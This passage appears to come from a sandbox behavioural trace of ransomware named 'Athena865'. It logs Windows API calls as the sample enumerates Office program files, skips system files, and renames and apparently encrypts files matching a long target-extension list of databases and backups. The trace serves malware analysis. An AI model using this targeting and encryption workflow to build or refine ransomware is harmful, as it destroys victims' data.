dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.940] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.940] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9060, lpName=0x0) returned 0x154 [0067.941] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9060) returned 0x100000 [0067.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.945] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.945] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.946] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0067.946] CloseHandle (hObject=0x154) returned 1 [0067.946] CloseHandle (hObject=0x17c) returned 1 [0067.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.947] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="BCSLAU~1.DLL")) returned 1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".") returned 1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="..") returned 1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="windows") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="bootmgr") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="temp") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="pagefile.sys") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="boot") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="ids.txt") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="ntuser.dat") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="perflogs") returned -1 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2="MSBuild") returned -1 [0067.947] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0067.947] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSLaunch.dll" | out: lpString1="BCSLaunch.dll") returned="BCSLaunch.dll" [0067.947] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0067.947] lstrlenW (lpString="Athena865") returned 9 [0067.947] lstrcmpiW (lpString1="aunch.dll", lpString2="Athena865") returned 1 [0067.947] lstrlenW (lpString=".dll") returned 4 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".dll") returned 1 [0067.947] lstrlenW (lpString=".lnk") returned 4 [0067.947] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".lnk") returned 1 [0067.948] lstrlenW (lpString=".ini") returned 4 [0067.948] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".ini") returned 1 [0067.948] lstrlenW (lpString=".sys") returned 4 [0067.948] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".sys") returned 1 [0067.948] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0067.948] lstrlenW (lpString="bak") returned 3 [0067.948] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0067.948] lstrlenW (lpString="ba_") returned 3 [0067.948] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0067.948] lstrlenW (lpString="dbb") returned 3 [0067.948] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0067.948] lstrlenW (lpString="vmdk") returned 4 [0067.948] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0067.948] lstrlenW (lpString="rar") returned 3 [0067.948] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0067.948] lstrlenW (lpString="zip") returned 3 [0067.948] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0067.948] lstrlenW (lpString="tgz") returned 3 [0067.948] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0067.948] lstrlenW (lpString="vbox") returned 4 [0067.948] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0067.948] lstrlenW (lpString="vdi") returned 3 [0067.948] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0067.948] lstrlenW (lpString="vhd") returned 3 [0067.948] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0067.948] lstrlenW (lpString="vhdx") returned 4 [0067.948] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0067.948] lstrlenW (lpString="avhd") returned 4 [0067.948] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0067.948] lstrlenW (lpString="db") returned 2 [0067.948] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0067.948] lstrlenW (lpString="db2") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0067.949] lstrlenW (lpString="db3") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0067.949] lstrlenW (lpString="dbf") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0067.949] lstrlenW (lpString="mdf") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0067.949] lstrlenW (lpString="mdb") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0067.949] lstrlenW (lpString="sql") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0067.949] lstrlenW (lpString="sqlite") returned 6 [0067.949] lstrcmpiW (lpString1="ch.dll", lpString2="sqlite") returned -1 [0067.949] lstrlenW (lpString="sqlite3") returned 7 [0067.949] lstrcmpiW (lpString1="nch.dll", lpString2="sqlite3") returned -1 [0067.949] lstrlenW (lpString="sqlitedb") returned 8 [0067.949] lstrcmpiW (lpString1="unch.dll", lpString2="sqlitedb") returned 1 [0067.949] lstrlenW (lpString="xml") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0067.949] lstrlenW (lpString="$er") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0067.949] lstrlenW (lpString="4dd") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0067.949] lstrlenW (lpString="4dl") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0067.949] lstrlenW (lpString="^^^") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0067.949] lstrlenW (lpString="abs") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0067.949] lstrlenW (lpString="abx") returned 3 [0067.949] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0067.949] lstrlenW (lpString="accdb") returned 5 [0067.949] lstrcmpiW (lpString1="h.dll", lpString2="accdb") returned 1 [0067.949] lstrlenW (lpString="accdc") returned 5 [0067.950] lstrcmpiW (lpString1="h.dll", lpString2="accdc") returned 1 [0067.950] lstrlenW (lpString="accde") returned 5 [0067.950] lstrcmpiW (lpString1="h.dll", lpString2="accde") returned 1 [0067.950] lstrlenW (lpString="accdr") returned 5 [0067.950] lstrcmpiW (lpString1="h.dll", lpString2="accdr") returned 1 [0067.950] lstrlenW (lpString="accdt") returned 5 [0067.950] lstrcmpiW (lpString1="h.dll", lpString2="accdt") returned 1 [0067.950] lstrlenW (lpString="accdw") returned 5 [0067.950] lstrcmpiW (lpString1="h.dll", lpString2="accdw") returned 1 [0067.950] lstrlenW (lpString="accft") returned 5 [0067.950] lstrcmpiW (lpString1="h.dll", lpString2="accft") returned 1 [0067.950] lstrlenW (lpString="adb") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0067.950] lstrlenW (lpString="adb") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0067.950] lstrlenW (lpString="ade") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0067.950] lstrlenW (lpString="adf") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0067.950] lstrlenW (lpString="adn") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0067.950] lstrlenW (lpString="adp") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0067.950] lstrlenW (lpString="alf") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0067.950] lstrlenW (lpString="ask") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0067.950] lstrlenW (lpString="btr") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0067.950] lstrlenW (lpString="cat") returned 3 [0067.950] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0067.951] lstrlenW (lpString="cdb") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0067.951] lstrlenW (lpString="ckp") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0067.951] lstrlenW (lpString="cma") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0067.951] lstrlenW (lpString="cpd") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0067.951] lstrlenW (lpString="dacpac") returned 6 [0067.951] lstrcmpiW (lpString1="ch.dll", lpString2="dacpac") returned -1 [0067.951] lstrlenW (lpString="dad") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0067.951] lstrlenW (lpString="dadiagrams") returned 10 [0067.951] lstrcmpiW (lpString1="Launch.dll", lpString2="dadiagrams") returned 1 [0067.951] lstrlenW (lpString="daschema") returned 8 [0067.951] lstrcmpiW (lpString1="unch.dll", lpString2="daschema") returned 1 [0067.951] lstrlenW (lpString="db-journal") returned 10 [0067.951] lstrcmpiW (lpString1="Launch.dll", lpString2="db-journal") returned 1 [0067.951] lstrlenW (lpString="db-shm") returned 6 [0067.951] lstrcmpiW (lpString1="ch.dll", lpString2="db-shm") returned -1 [0067.951] lstrlenW (lpString="db-wal") returned 6 [0067.951] lstrcmpiW (lpString1="ch.dll", lpString2="db-wal") returned -1 [0067.951] lstrlenW (lpString="dbc") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0067.951] lstrlenW (lpString="dbs") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0067.951] lstrlenW (lpString="dbt") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0067.951] lstrlenW (lpString="dbv") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0067.951] lstrlenW (lpString="dbx") returned 3 [0067.951] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0067.951] lstrlenW (lpString="dcb") returned 3 [0067.952] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0067.952] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll.Athena865") returned 66 [0067.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll.athena865"), dwFlags=0x1) returned 1 [0067.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.954] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=70528) returned 1 [0067.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.954] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.954] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.955] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.955] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.955] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11680, lpName=0x0) returned 0x154 [0067.961] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11680) returned 0x100000 [0067.964] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.965] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.965] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.966] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0067.966] CloseHandle (hObject=0x154) returned 1 [0067.966] CloseHandle (hObject=0x17c) returned 1 [0067.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.967] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2=".") returned 1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="..") returned 1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="windows") returned -1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="bootmgr") returned -1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="temp") returned -1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="pagefile.sys") returned -1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="boot") returned -1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="ids.txt") returned -1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="ntuser.dat") returned -1 [0067.967] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="perflogs") returned -1 [0067.968] lstrcmpiW (lpString1="BCSProxy.dll", lpString2="MSBuild") returned -1 [0067.968] lstrlenW (lpString="BCSProxy.dll") returned 12 [0067.968] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSProxy.dll" | out: lpString1="BCSProxy.dll") returned="BCSProxy.dll" [0067.968] lstrlenW (lpString="BCSProxy.dll") returned 12 [0067.968] lstrlenW (lpString="Athena865") returned 9 [0067.968] lstrcmpiW (lpString1="Proxy.dll", lpString2="Athena865") returned 1 [0067.968] lstrlenW (lpString=".dll") returned 4 [0067.968] lstrcmpiW (lpString1="BCSProxy.dll", lpString2=".dll") returned 1 [0067.968] lstrlenW (lpString=".lnk") returned 4 [0067.968] lstrcmpiW (lpString1="BCSProxy.dll", lpString2=".lnk") returned 1 [0067.968] lstrlenW (lpString=".ini") returned 4 [0067.968] lstrcmpiW (lpString1="BCSProxy.dll", lpString2=".ini") returned 1 [0067.968] lstrlenW (lpString=".sys") returned 4 [0067.968] lstrcmpiW (lpString1="BCSProxy.dll", lpString2=".sys") returned 1 [0067.968] lstrlenW (lpString="BCSProxy.dll") returned 12 [0067.968] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll.Athena865") returned 65 [0067.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll.athena865"), dwFlags=0x1) returned 1 [0067.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSProxy.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsproxy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.969] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=137600) returned 1 [0067.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.970] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.971] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.971] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.971] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21c80, lpName=0x0) returned 0x154 [0067.976] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21c80) returned 0x170000 [0068.001] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.002] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.002] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.003] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0068.004] CloseHandle (hObject=0x154) returned 1 [0068.004] CloseHandle (hObject=0x17c) returned 1 [0068.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0068.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.005] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2=".") returned 1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="..") returned 1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="windows") returned -1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="bootmgr") returned -1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="temp") returned -1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="pagefile.sys") returned -1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="boot") returned -1 [0068.005] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="ids.txt") returned -1 [0068.006] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="ntuser.dat") returned -1 [0068.006] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="perflogs") returned -1 [0068.006] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2="MSBuild") returned -1 [0068.006] lstrlenW (lpString="BCSRuntime.dll") returned 14 [0068.006] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSRuntime.dll" | out: lpString1="BCSRuntime.dll") returned="BCSRuntime.dll" [0068.006] lstrlenW (lpString="BCSRuntime.dll") returned 14 [0068.006] lstrlenW (lpString="Athena865") returned 9 [0068.006] lstrcmpiW (lpString1="ntime.dll", lpString2="Athena865") returned 1 [0068.006] lstrlenW (lpString=".dll") returned 4 [0068.006] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2=".dll") returned 1 [0068.006] lstrlenW (lpString=".lnk") returned 4 [0068.006] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2=".lnk") returned 1 [0068.006] lstrlenW (lpString=".ini") returned 4 [0068.006] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2=".ini") returned 1 [0068.006] lstrlenW (lpString=".sys") returned 4 [0068.006] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2=".sys") returned 1 [0068.006] lstrlenW (lpString="BCSRuntime.dll") returned 14 [0068.006] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll.Athena865") returned 67 [0068.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll.athena865"), dwFlags=0x1) returned 1 [0068.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntime.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntime.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.007] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=613760) returned 1 [0068.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0068.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.008] CryptAcquireContextW (in: 